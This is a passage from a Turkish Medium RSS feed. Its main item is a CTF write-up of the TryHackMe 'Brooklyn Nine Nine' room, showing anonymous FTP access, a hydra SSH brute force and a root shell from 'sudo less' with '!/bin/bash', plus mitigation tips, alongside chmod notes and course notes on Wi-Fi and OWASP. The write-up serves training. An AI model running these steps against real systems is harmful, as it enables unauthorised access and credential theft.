alt="" src="https://cdn-images-1.medium.com/max/882/1*-VSNvYuCBqdzlP6D3emfnw.png" /></figure><ul><li>Diğer kullanıcılardan (<em>o</em>), çalıştırma (<em>x</em>) izinini aldık (<em>-</em>).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*hUq4OscBm2hfDJUVwecgXw.png" /></figure><ul><li>Tüm kullanıcılara (<em>a</em>), diğer kullanıcılarda (<em>o</em>) bulunan şimdiki izinleri verdik (<em>=</em>).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*Jv6kTqMcdNyJAvMKdFkl5Q.png" /></figure><ul><li>Grubun ve diğer kullanıcıların sahip olduğu izinleri kaldırdık.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*fO2CNe7TQpQEQ1XxDhDYpA.png" /></figure><ul><li>Dosya sahibine tüm, gruba sadece okuma izinleri verdik, diğer kullanıcılara izin vermedik.</li></ul><p><strong>Parametreler</strong></p><pre>chmod --reference=&lt;dosya_adi&gt; &lt;ref_dosya_adi&gt;</pre><ul><li>Yukarıdaki komut ile başka bir dosyada bulunan izinleri, istediğimiz dosyaya kopyalıyoruz. Yani aşağıdaki örneğe bakacak olursak, sayilar.txt’de bulunan izinleri renkler.txt’ye kopyaladık.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*_SYI3t0SRW-2RVjJUkHoUA.png" /></figure><pre>chmod -R &lt;izinler&gt; &lt;dizin&gt;</pre><ul><li>Bir dizin içindeki tüm alt dizin ve dosyalar için aynı izinleri ayarlamak istiyorsak yukarıdaki komutu kullanmalıyız.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*o-9TjpOBXrRywtTwoJZMIQ.png" /></figure><p>Yukarıdaki görselde görebileceğiniz üzere, dizindeki izinleri değiştirdik ancak alt dizinleri değişmedi. Şimdi ise -R parametremizi kullanarak deneyelim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*gDHucNgT7-eV5Rm51lcILQ.png" /></figure><p>Böylece chmod komutunun temel kullanımını ele aldık. Vakit ayırıp okuduğunuz için teşekkür ederim. Umarım faydalı olmuştur. Eğer eksik gördüğünüz ya da eklenmesi gerektiğini düşündüğünüz bir nokta varsa, yorumlarda paylaşabilirsiniz. Bir sonraki yazıda yeniden görüşmek üzere!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0c8d26fa1714" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CTF’leri Red Team ve Blue Team Bakış Açılarıyla Düşünmek]]></title>
            <link>https://medium.com/@yilmazogluaycan/ctfleri-red-team-ve-blue-team-bak%C4%B1%C5%9F-a%C3%A7%C4%B1lar%C4%B1yla-d%C3%BC%C5%9F%C3%BCnmek-9dac8adc884d?source=rss-b241a550342c------2</link>
            <guid isPermaLink="false">https://medium.com/p/9dac8adc884d</guid>
            <category><![CDATA[cyber-kill-chain]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[siber-guvenlik]]></category>
            <dc:creator><![CDATA[Aycan Yılmazoğlu]]></dc:creator>
            <pubDate>Wed, 26 Feb 2025 13:56:50 GMT</pubDate>
            <atom:updated>2025-02-26T13:56:50.778Z</atom:updated>
            <content:encoded><![CDATA[<p>Siber güvenlik dünyası kendi içerisinde birden fazla senaryoyu ve ihtimalleri içerisinde barındıran bir alandır. Bu alana ilgi duyan kişiler kendilerini geliştirmek ve gerçek hayat senaryolarına hazırlanmak için CTF (Capture the Flag(Bayrağı Yakala)) soruları çözmeye veya CTF yarışmalarına katılmaya çalışırlar. CTF kısaca, <strong>“siber güvenlik alanında düzenlenen, yarışmacıların bilgi ve becerilerini pratiğe dökerek test ettikleri bir uygulama”</strong> olarak düşünülebilir.</p><p>CTF sorularının çözümleri genelde hızlıca flag bulma veya ezbere bir şekilde istenilen verileri elde etme üzerine kurulu olduğu için burada verilen odayı çözmenin yanı sıra hem bir tehdit sektörünün hem de savunma tarafında görev alan bir çalışanın gözünden odayı nasıl değerlendirebiliriz bunu anlatmaya çalışacağım.</p><p>Bu yazı serisinde geleneksel CTF çözümlerinin aksine, bir CTF sorusuna Red Team ve Blue Team bakış açısıyla nasıl yaklaşılabilir bunu göstermeye çalışacağım. Keyifli okumalar dilerim.</p><p>Bu serideki ilk makalemiz TryHackMe platformunda bulunan başlangıç seviyesindeki <strong>“Brooklyn Nine Nine”</strong> CTF odasının çözümü ile başlayacaktır. İlgili CTF odası bir “hacking” işlemi gerektirdiği için makalemiz ilk olarak odanın Red Team bakış açısıyla çözümüyle başlayacaktır ve sonrasında Blue Team bakış açısıyla incelenmesi şeklinde sonlanacaktır.</p><p>Aşağıdaki bağlantıdan odaya ulaşabilirsiniz: <a href="https://tryhackme.com/r/room/brooklynninenine">https://tryhackme.com/r/room/brooklynninenine</a></p><p>Hadi başlayalım!</p><blockquote><strong>NOT-1:</strong> <strong>Çözüm sırasında hedef ip bazı görsellerde farklı gözükebilir. Bunun nedeni odanın çözümü esnasında hedef makinenin ara sıra bağlantısının kopmasından kaynaklı yeniden başlatılmasıdır. Eğer siz de böyle bir durumla karşılaşırsanız makineyi “Terminate” edip tekrardan başlatmanız gerekecektir. Burada dikkat etmeniz gereken husus makineyi tekrar başlattığınızda IP adresinin değişmesi olacaktır. Bu durumda artık kullanacağınız komutlarda “hedef IP” kısmına makinenin yeni IP adresini yazmanız gerekecektir.</strong></blockquote><p>Makineyi çözerken Red Team bakış açısıyla çözeceğimizi belirtmiştim. Bu yüzden burada rehber edineceğimiz framework <strong>“Cyber Kill Chain”</strong> olacaktır. Cyber Kill Chain, <strong>siber saldırganların hedeflerine ulaşabilmeleri için gerçekleştirmeleri gereken adımları belirleyen bir modeldir</strong>. Bu model aynı zamanda Blue Team alanında çalışan siber güvenlik personellerine saldırganların kullandıkları teknikleri, taktikleri ve prosedürleri daha iyi anlamalarına ve bunlara göre savunma stratejileri belirmelerine de yardımcı olur.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*zCUXq7F2t4t6ZZhWNwvOhg.png" /><figcaption>Cyber Kill Chain</figcaption></figure><h3>VPN’e Bağlanmak</h3><p>Çözüme başlamadan önce VPN’e bağlanmak için Profil kısmına gelip Access seçeneğine tıklıyoruz. Daha sonra VPN Server kısmından server seçimini yaptıktan sonra Download Configure File’a tıklıyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tv6jX4cSRiEf6v4ppVoqyQ.png" /></figure><p>Profil kısmından <em>Access</em>’e basıyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uPtFd2C9McQv3mINQSogrg.png" /></figure><p>Daha sonra VPN Server kısmından sunucuyu seçtikten sonra <em>Download configuration file </em>tıklıyoruz. İndirilen VPN dosyasını makinemizin masaüstüne taşıyoruz.</p><p>Ardından indirdiğimiz VPN dosyasını Kali Linux makinemizin Masaüstü’ne taşıyoruz ve sırayla Terminal’den aşağıdaki komutları giriyoruz:</p><ul><li>sudo su</li><li>cd Desktop</li><li>openvpn [indirdiğiniz VPN dosyasının ismi]</li></ul><blockquote><strong>NOT-2: “sudo su” ile root kullanıcısına geçiş yapmamızın sebebi “openvpn” komutunun çalışabilmesi için bizden yüksek bir kullanıcı yetkisi istemesidir.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5T6eI2D-E359gpFST50eTg.png" /></figure><p>Yukarıdaki görselde kırmızı ile belirtildiği gibi IP adresimiz gözüküyorsa VPN’e bağlanabildiğimizi anlayabiliriz.</p><h3>Çözüm Aşaması</h3><p>Odanın çözümüne makinemizi başlatarak başlıyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ab0Db_a4dDo87DEq7DkMlw.png" /></figure><p>Bir süre bekledikten sonra hedef IP adresimizi görseldeki gibi öğrenmiş olacağız.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YiSAOOoyFBP5mgd4EYC7zQ.png" /></figure><p>Şimdi Cyber Kill Chain’in uygulanmasına geçebiliriz.</p><h3><strong>1.</strong> <strong>Reconnaissance (Keşif)</strong></h3><p>İlk olarak Cyber Kill Chain’in birinci aşaması olan <strong><em>Reconnaissance(Keşif)</em></strong> aşamasını baz alarak odayı çözmeye başlayabiliriz. Keşif aşaması temel olarak ikiye ayrılır: Passive Reconnaissance (Pasif Keşif) ve Active Reconnaissance (Aktif Keşif). Pasif Keşif, bir saldırganın hedefle doğrudan temasa geçmeden bilgi topladığı aşamadır. Örnek olarak kamuya açık kaynaklardan bilgi toplamak (OSINT), arama motorları aracılığıyla dorking yapmak, bir kurumun domain veya subdomain listesini çıkartmak veya hedef kurumun mail adreslerini çıkartmayı verebiliriz. Aktif Keşif ise, saldırganın hedefle direkt temasa geçerek bilgi topladığı aşamadır. Örnek olarak port taraması gerçekleştirmek, zafiyet taraması yapmak, hedef makinede çalışan işletim sistemini belirlemek verebiliriz.</p><p>Bizim hedef IP adresimiz belli olduğundan Pasif Keşif aşamasını bu oda özelinde atlayıp doğrudan Aktif Keşif aşamasına geçebiliriz.</p><p>Aktif Keşif aşamasını gerçekleştirmek için burada <strong>“Nmap” </strong>denilen aracı kullanabiliriz. Terminalden aşağıdaki komutu çalıştırıyoruz:</p><pre>nmap -sC -sV [hedef_IP]</pre><p><strong>Kullanılan Parametreler:</strong></p><ul><li>-sV: Açık portta çalışan servisin ne olduğunu bulmaya çalışır. -sC ile birlikte kullanılırsa işe yarar.</li><li>-sC: -sV ile versiyon tespiti yapılırken nmap scriptlerini kullanır.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nahQFe_O3bQOgymny1U1fQ.png" /></figure><ul><li>Bu tarama sonucunda aşağıdaki açık portları keşfettik:</li></ul><p>-21/tcp (FTP) — Anonymous giriş açık</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*rM3OuhSI0HJLoVSvxBjkcw.png" /></figure><p>-22/tcp (SSH) — Erişim sağlanabilir</p><p>-80/tcp (HTTP) — Web sunucusu çalışıyor</p><p>Açık portları analiz ederek olası saldırı senaryolarını geliştirdik:</p><p><strong>1. FTP Servisi: </strong>Anonymous girişe izin verdiği için içeride herhangi bir dosya olup olmadığını kontrol edebilebilir. Ayrıca “note_to_jake.txt” adında bir dosya bulunduğu görülebilir.</p><p><strong>2. SSH Servisi:</strong> Kullanıcı bilgilerini ele geçirdikten sonra yetkisiz erişim için kullanılabilir.</p><p><strong>3. Web Sunucusu:</strong> Eğer zafiyetli bir uygulama varsa RCE veya LFI gibi saldırılar uygulanabilir.</p><p>elde ettiğimiz bu çıktılara göre FTP ile bağlanmayı tercih ettik.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FnUX9kDT6Pf7Fk_ABYiodg.png" /></figure><p>FTP portuna Anonymous bilgileri ile giriş yapalım:</p><pre>ftp &lt;kullanici_adi&gt;@&lt;hedef_IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*wM9I3y4uYWnBcCk9bCRiAg.png" /></figure><p>Giriş yapmak için yukarıdaki komutu giriyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*FOs2LAZpgDTg0GVKqr-Hdw.png" /></figure><p>Password kısmına <strong>Anonymous<em> </em></strong>giriyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*jjpYgG7J1aSo17gv8rawPw.png" /></figure><p>Yukarıdaki görselde görüldüğü gibi giriş yapmış bulunmaktayız. Şimdi <em>ls </em>komutunu çalıştırarak neler bulunduğunu görelim</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vf86aB_u_lHXl3bPFI7FLg.png" /></figure><p>İçeride note_to_jake.txt adında bir txt dosyası bulunuyor. <em>Cat</em> komutu ile okumayı deneyelim:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/391/1*LQ5K_TusrhzdiQ4ThcpEiQ.png" /></figure><p>Bize geçersiz komut uyarısını verdi. Yani bu komutu kullanamıyoruz. <em>Help</em> ile kullanabileceğimiz komutlara bakalım:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*-1VIz8zS6HgwMVP95iJKdg.png" /></figure><p>Görüleceği üzere<em> get</em> komutunu kullanabildiğimizi görüyoruz. Bu komut ile dosyayı kendi makinemize yükleyebiliriz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WavHLBXwyWB4wylzu26Nnw.png" /></figure><p>Daha sonra<em> exit </em>diyerek ftp’den çıkalım. Kendi makinemizde <em>ls</em> komutunu çalıştırarak dosyanın inip inmediğini görebiliriz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*ePI_XvtHpGKy5jAahcvOpw.png" /></figure><p>Yukarıdaki görselde görüldüğü üzere dosyamız inmiş. Şimdi <em>cat </em>komutu ile okuyabiliriz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hQqc-GhkCuKC_H_89nAw8A.png" /></figure><p>Nottan Jake’in şifresinin zayıf olduğunu anlayabiliriz.</p><h3>2. Weaponization ( Silahlanma )</h3><p>Weaponization aşamasında, saldırgan keşif aşamasında topladığı bilgileri kullanarak hedef sistem veya kullanıcıyı istismar edebilecek bir saldırı aracı geliştirir. Bu genellikle bir exploit’in hazırlanması, zararlı bir dosyanın oluşturulması veya bir payload’ın hedef sistemde çalıştırılabilir hale getirilmesi şeklinde gerçekleşir. Örneğin, bir Microsoft Office dokümanına zararlı bir makro eklenmesi veya bir PDF dosyasına istismar kodu yerleştirilmesi gibi teknikler bu aşamanın parçasıdır.</p><p>Bu CTF’imizde bu aşama bulunmamaktadır.</p><h3>3. Delivery ( İletme )</h3><p>Delivery aşamasında saldırgan, hazırladığı zararlı yazılımı veya istismar kodunu hedef sisteme iletmeye çalışır. Bu, oltalama e-postaları, kötü niyetli bağlantılar, USB sürücüler veya hedefin erişebileceği diğer yollarla gerçekleştirilebilir. Hedefin zararlı içeriği açması veya çalıştırması sağlanarak saldırının bir sonraki aşamaya geçmesi amaçlanır.</p><p>Bu CTF’imizde bu aşama bulunmamaktadır.</p><h3>4. Explotation ( Sömürü)</h3><p>Bu aşamada saldırgan, ilettiği zararlı yazılımı çalıştırarak hedef sistemde bir güvenlik açığını tetikler.</p><p>Şimdi açık diğer bir portumuz olan SSH’a jake kullanıcısı ile bağlanmaya çalışalım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jPNGLqfSQwmhfWm4ngH5Fg.png" /></figure><p>Şifresini bilmediğimiz için giriş yapamıyoruz. Ancak zayıf bir şifreye sahip olduğunu bildiğimizden şifresini kaba kuvvet yolu ile bulabiliriz. Bunun için “<strong>hydra</strong>” aracını kullanacağız.</p><pre>hydra -l [kullanici adi] -P [kelime_listesi_yolu] [protokol]://[hedef_ip]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JLuwIojPNXyruQeO7CRUYw.png" /></figure><p>Şeklinde komutumuzu giriyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yr3--WExCpXyaRmdQovzfA.png" /></figure><ul><li>Görüldüğü üzere jake kullanıcısının şifresini bulduk.</li><li>Şimdi ssh üzerinden bu bilgiler ile giriş yapabiliriz.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D9QekPD5JR7kh247LwmDGg.png" /></figure><p>· Sisteme girdikten sonra kullanıcı dizininde <strong>user.txt</strong> dosyasını bularak ilk flag’i ele geçirdik.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*EpYf1WUavubkEG6ZuYvJ8A.png" /></figure><h3><strong>5. Installation (Kalıcı Erişim Sağlama)</strong></h3><p>Bu aşamada saldırgan, sistemde kalıcı bir erişim elde etmek için zararlı yazılımı kurar. Bu aşamada <strong>backdoor (arka kapı)</strong>, <strong>rootkit</strong> veya <strong>keylogger</strong> gibi zararlı yazılımlar sisteme yerleştirilir. Amaç, saldırganın sistemden bağlantısı kesilse bile tekrar erişim sağlayabilmesini garanti altına almaktır.</p><p>Sistemde kalıcılık sağlamak için mevcut yetkilendirmeleri kontrol ettik:</p><p>· Şimdi ise “<em>sudo -l</em>” komutu ile <strong>jake</strong> kullanıcısının <strong>sudo</strong> yetkisiyle çalıştırılabileceği komutları görmemize yarayan komutu kullanalım:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KS3QiDJQuLTmW66Ctm80Mw.png" /></figure><p>· Bu komut sayesinde <strong>jake</strong> kullanıcısının <strong>sudo</strong> yetkisiyle şifre girmeden <strong>/usr/bin/less</strong> komutunu çalıştırabileceğini öğrendik.</p><p><a href="https://gtfobins.github.io/">GTFOBins</a> üzerinden sudo less komutunu araştırmaya gidiyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*t88ICwNUuRW7dVwXnpa7zg.png" /></figure><p>Buradaki komutları kullanarak root yetkisine yükselmeyi deneyeceğiz.</p><h3><strong>6. Command &amp; Control (Komut ve Kontrol)</strong></h3><p>Bu aşamada ise kurulan zararlı yazılım, saldırganın sistemle uzaktan iletişim kurmasına olanak tanır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lWj48l0ZcVGPxkSPZ7umqg.png" /></figure><p>Sistemde root erişimi sağlamak için <strong>less</strong> komutundan faydalandık:</p><pre>sudo less /etc/shadow</pre><p>Ardından, sistem üzerinde interaktif shell açmak için <strong>less</strong> üzerinden komut enjeksiyonu yaptık:</p><pre>!/bin/bash</pre><p>Bu komut ile <strong>root</strong> yetkilerine sahip bir shell açtık ve sistemin tam kontrolünü ele geçirdik.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oo6xkmJhD0W7_GyQNui9_w.png" /></figure><p><em>whoami </em>komutu girdiğimizde artık <strong>root</strong> olduğumuzu görebiliyoruz.</p><h3><strong>7. Actions on Objectives (Hedefe Ulaşma)</strong></h3><p>Bu son aşamada saldırgan, saldırının esas amacını gerçekleştirir. Amaç, hedef sisteme bağlı olarak değişebilir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nyFGiD4qP6AGnaPFjL8pAw.png" /></figure><p>İçeride gezindikten sonra root dizinini bulduk. Son olarak root dizinine giderek <strong>root.txt</strong> dosyasını okuduk:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*b1yUFc0einb0zs4z4X5u3g.png" /></figure><p>Flag başarıyla ele geçirildi ve görev tamamlandı.</p><h3>Mitigation (Çözüm Önerileri)</h3><ul><li>FTP ile bağlantı sağlanırken key ile bağlanılması gerekir.</li><li>SSH ile bağlanılırken daha karmaşık bir parola veya key ile giriş sağlanmalıdır.</li><li>SSH portuna düzenlenen brute-force saldırılarını düzenlemek için güvenlik duvarı kuralları doğru şekilde yapılandırılmalıdır.</li><li>SSH ile bağlantı kurulması sınırlandırılabilir.</li></ul><p><strong>CTF’leri Red Team ve Blue Team Bakış Açılarıyla Düşünmek</strong> yazı serisinin ilk bölümünü burada tamamlamış oluyoruz. CTF sorumuza geleneksel çözümlerin ötesinde, hem saldırı hem de savunma perspektifinden bakmaya çalıştık. Vakit ayırıp okuduğunuz için teşekkür ederim. Umarım faydalı olmuştur. Eğer eksik gördüğünüz ya da eklenmesi gerektiğini düşündüğünüz bir nokta varsa, yorumlarda paylaşabilirsiniz. Bir sonraki bölümde yeniden görüşmek üzere!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9dac8adc884d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BTK Akademi Kursu Notlarım — Temel SeviyeSiber Güvenlik Eğitimi 2. Hafta]]></title>
            <link>https://medium.com/@yilmazogluaycan/btk-akademi-kursu-notlar%C4%B1m-temel-seviyesiber-g%C3%BCvenlik-e%C4%9Fitimi-2-hafta-c7f2dad4e4b9?source=rss-b241a550342c------2</link>
            <guid isPermaLink="false">https://medium.com/p/c7f2dad4e4b9</guid>
            <dc:creator><![CDATA[Aycan Yılmazoğlu]]></dc:creator>
            <pubDate>Fri, 11 Oct 2024 16:13:44 GMT</pubDate>
            <atom:updated>2024-10-11T16:13:44.606Z</atom:updated>
            <content:encoded><![CDATA[<h3>BTK Akademi Kursu Notlarım — Temel SeviyeSiber Güvenlik Eğitimi 2. Hafta</h3><p>Bu yazımda sizlerle BTK Akademi tarafından aldığım temel siber güvenlik eğitiminin 2. haftasında öğrendiklerimi paylaşacağım.</p><p><strong>Kablosuz Ağ Çeşitleri</strong></p><ul><li>Wi-Fi</li><li>Bluetooth</li><li>NFC: İki elektronik cihaz arasında 4 cm veya daha kısa bir mesafe üzerinden iletişim kurulmasını sağlayan bir dizi iletişim protokolüdür.</li><li>Ad-Hoc: Router veya AP olmadan kurulan geçici ağlardır.</li></ul><h3><strong>AP(Access Point)ve İstemci Arasındaki İletişim</strong></h3><ul><li>Bir Erişim Noktası (AP), kablosuz bir ağın merkezidir. AP, istemci cihazların ağa bağlanmasına olanak tanır ve bu sayede cihazlar internet ya da yerel ağ kaynaklarına erişim sağlar. Kablosuz bir ağda, tüm veri trafiği AP üzerinden yönlendirilir, bu da onu ağdaki cihazların merkezinde konumlandırır.</li><li>İstemci cihazlar (laptop, telefon, tablet vb.), doğrudan AP’ye bağlanarak ağa dahil olurlar. Bu süreç, bir dizi iletişim adımı içerir ve kablosuz iletişimin temellerini oluşturur.</li></ul><h3><strong>AP (Erişim Noktası) ve İstemci Arasındaki İletişim Adımları</strong></h3><ol><li>Tarama ve Keşif : İstemci cihaz, erişim noktalarını keşfetmek için belirli bir frekansta tarama yapar.</li><li>Bağlantı Talebi : İstemci cihaz, tercih ettiği AP’ye bağlanmak için bir bağlantı talebi (authentication request)<strong> g</strong>önderir. Bu adımda istemci, AP ile kimlik doğrulama sürecine girer. Eğer ağ güvenliği için şifreleme kullanılıyorsa (örneğin, WPA2), istemcinin doğru güvenlik bilgilerini sunması gerekir.</li><li>Bağlantının Kabulü : AP, istemciden gelen bağlantı talebini inceler ve onaylar. İstemci cihaz, AP’den association response mesajı alarak bağlantısının başarıyla kurulduğunu öğrenir. Bu süreç tamamlandığında, istemci artık ağ üzerinde veri alışverişi yapmaya hazırdır.</li><li>Veri İletişimi : Bağlantı başarılı olduktan sonra, istemci ve AP arasında veri alışverişi başlar. Bu aşamada, AP, istemciden gelen verileri yönlendirir ve gerekli yerlere iletir. Aynı zamanda istemcinin internet ya da yerel ağ kaynaklarına erişmesini sağlar.</li></ol><h3><strong>Ad-Hoc Ağlar ve Altyapı Ağlarının Farkları</strong></h3><p>Kablosuz ağlar, iki temel yapı altında sınıflandırılabilir: <strong>Ad-Hoc ağlar</strong> ve <strong>altyapı (infrastructure) ağları</strong>.</p><ul><li>Yapı Farkları</li></ul><p><strong>Ad-Hoc Ağlar</strong>: Bu ağ türü, merkezi bir AP’ye ihtiyaç duymaz. İstemci cihazlar, doğrudan birbirlerine bağlanarak iletişim kurarlar. Ad-hoc ağlar, genellikle geçici ve küçük çaplı bağlantı ihtiyaçları için kullanılır. Örneğin, bir toplantıda birkaç cihazın birbirine doğrudan bağlanarak veri paylaşması için ad-hoc ağ kullanılabilir.</p><p><strong>Altyapı Ağları</strong>: Altyapı ağlarında ise bir AP, istemci cihazların merkezi bağlantı noktasıdır. Bu tür ağlarda, tüm istemci cihazlar AP’ye bağlanır ve veri alışverişini bu merkez üzerinden gerçekleştirir. AP aynı zamanda ağa daha geniş erişim ve yönetim özellikleri sunar.</p><ul><li>Performans</li></ul><p><strong>Ad-Hoc Ağlar</strong>: Yönetimi ve güvenliği altyapı ağlarına kıyasla daha zayıftır. Özellikle cihaz sayısı arttıkça, performans düşebilir.</p><p><strong>Altyapı Ağları</strong>: Daha geniş bir kapsama alanı ve istikrarlı bir veri akışı sağlar. AP üzerinden tüm cihazlar merkezi olarak yönetildiği için, güvenlik protokolleri daha etkili şekilde uygulanabilir. Ayrıca altyapı ağları, genişletilebilirlik açısından da avantajlıdır, çünkü birden fazla AP kullanarak ağ kapasitesi artırılabilir.</p><h3><strong>Protokoller</strong></h3><p><strong>WEP</strong></p><ul><li>İlk kablosuz ağ güvenlik protokolüdür, ancak güvenlik açısından oldukça zayıf kalmıştır.</li><li>Sabit bir şifreleme anahtarı kullanarak veri iletir. Ancak, bu anahtarın tekrarlanabilmesi nedeniyle saldırılara açık hale gelir.</li></ul><p><strong>WPA</strong></p><ul><li>TKIP(Temporal Key Integrity Protocol) şifreleme kullanır. Her veri paketi için farklı bir şifreleme anahtarı kullanılarak güvenli iletim sağlanır.</li><li>KRACK(Key Reinstallation Attacks) zafiyeti bulunur.</li></ul><p><strong>WPA2</strong></p><ul><li>Günümüzde en yaygın kullanılan kablosuz güvenlik protokolüdür.</li><li>AES(Advanced Encryption Standard) şifreleme kullanır.</li><li>PSK (Pre-Shared Key) kimlik doğrulaması ile çalışır.</li><li>KRACK zafiyeti bulunur.</li></ul><p><strong>WPA3</strong></p><ul><li>En güncel protokoldür</li><li>128-bit (personal mode), 192-bit (enterprise mode) şifreleme sunar.</li><li>SAE(Simultaneous Authentication of Equals): Parola tabanlı kimlik doğrulama için kullanılır. Bu yöntem, kaba kuvvet saldırılarına karşı daha güçlü bir koruma sağlar.</li><li>Forward Secrecy: Her bağlantı için yeni bir şifreleme anahtarı oluşturur. Böylece bir oturum şifresi kırılırsa diğer oturumlar etkilenmez.</li><li>Küçük parolalara dayanıklılık vardır</li><li>KRACK zafiyeti bulunmaz.</li></ul><p><strong><em>Saltlama:</em></strong><em> </em>bir şifreleme algoritmasının güvenliğini artırmak için kullanılan ek bir tekniktir. Şifrelemeye eklenen rastgele bir veri parçası, saldırganların şifreleme anahtarlarını tahmin etmesini zorlaştırır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KBU9JbadHZwnI3G7h_zLDg.png" /></figure><h3><strong>Kablosuz Ağ Saldırı Yöntemleri</strong></h3><ul><li><strong>Man-in-the-Middle (Ortadaki Adam)</strong>: Saldırgan, istemci ile AP arasındaki iletişimi keserek veya manipüle ederek verileri ele geçirir.</li><li><strong>Evil Twin</strong>: Saldırgan, sahte bir erişim noktası oluşturarak kullanıcıların bu ağa bağlanmasını sağlar ve böylece verileri çalar.</li><li><strong>Wi-Fi Cracking</strong>: Saldırgan, WEP, WPA ve WPA2 gibi şifreleme protokollerini kırarak ağa erişim sağlamaya çalışır.</li></ul><h3><strong>Tehdit Modelleri</strong></h3><ul><li>Bir sistemin karşı karşıya kalabileceği potansiyel tehditleri belirlemek için kullanılan yöntemlerdir. Bu modeller, saldırı vektörlerini ve olası sonuçları analiz eder:</li></ul><p><strong>STRIDE:</strong> Spoofing (sahtecilik), Tampering (değiştirme), Repudiation (inkar), Information Disclosure (bilgi sızdırma), Denial of Service (hizmet reddi), Elevation of Privilege (yetki yükseltme)</p><p><strong>DREAD:</strong> Damage (zarar), Reproducibility (yeniden üretilebilirlik), Exploitability (sömürülebilirlik), Affected Users (etkilenen kullanıcılar), Discoverability (keşfedilebilirlik)</p><h3><strong>OWASP Top-10</strong></h3><ul><li>OWASP (Open Web Application Security Project), web uygulamaları için en yaygın güvenlik risklerini listeler.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*H4VVyh72chLpgAuRsBBONw.png" /><figcaption>kaynak: <a href="https://owasp.org/Top10/">https://owasp.org/Top10/</a></figcaption></figure><ol><li><strong>Broken Access Control</strong>: Erişim kontrol mekanizmalarının hatalı uygulanması.</li></ol><p><strong>2. Cryptographic Failures</strong>: Hassas verilerin yanlış şifrelenmesi veya hiç şifrelenmemesi.</p><p><strong>3. Injection</strong>: SQL, NoSQL gibi veri tabanlarına zararlı kod enjekte edilmesi.</p><p><strong>4. Insecure Design</strong>: Güvenli olmayan uygulama tasarımları.</p><p><strong>5. Security Misconfiguration</strong>: Yanlış yapılandırılmış güvenlik ayarları.</p><p><strong>6. Vulnerable and Outdated Components</strong>: Güncel olmayan ve zafiyet içeren bileşenlerin kullanılması.</p><p><strong>7. Identification and Authentication Failures</strong>: Kimlik doğrulama süreçlerinde yaşanan hatalar.</p><p><strong>8. Security Logging and Monitoring Failures</strong>: Güvenlik olaylarının izlenmesi ve kaydedilmesindeki eksiklikler.</p><p><strong>9. Server-Side Request Forgery (SSRF)</strong>: Sunucunun kötü niyetli bir isteği gerçekleştirmeye zorlanması.</p><p><strong>OWASP ZAP(Zed Attack Proxy)[zaproxy]:</strong> Açık kaynaklı bir güvenlik aracı olup, web uygulamalarındaki zafiyetleri taramak için kullanılır. Kullanıcı dostu arayüzü ve güçlü özellikleri sayesinde hem geliştiriciler hem de güvenlik uzmanları tarafından yaygın olarak tercih edilir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*KVt6dlJUDWSs2PXfcZ8gCw.png" /></figure><h3>Bazı Popüler Zafiyetler</h3><h3><strong>XSS </strong>(Cross-Site Scripting)</h3><ul><li>XSS saldırıları, bir saldırganın kötü niyetli komut dosyasını (genellikle JavaScript) başka bir kullanıcının tarayıcısında çalıştırmasına olanak tanır. Bu, kullanıcının kimlik bilgilerini çalmak, oturum çerezlerini ele geçirmek ve daha fazlası için kullanılabilir.</li></ul><p><strong>XSS Türleri</strong></p><p><em>Stored (Kalıcı) XSS:</em> Web sunucusuna kaydedilen ve daha sonra diğer kullanıcılara 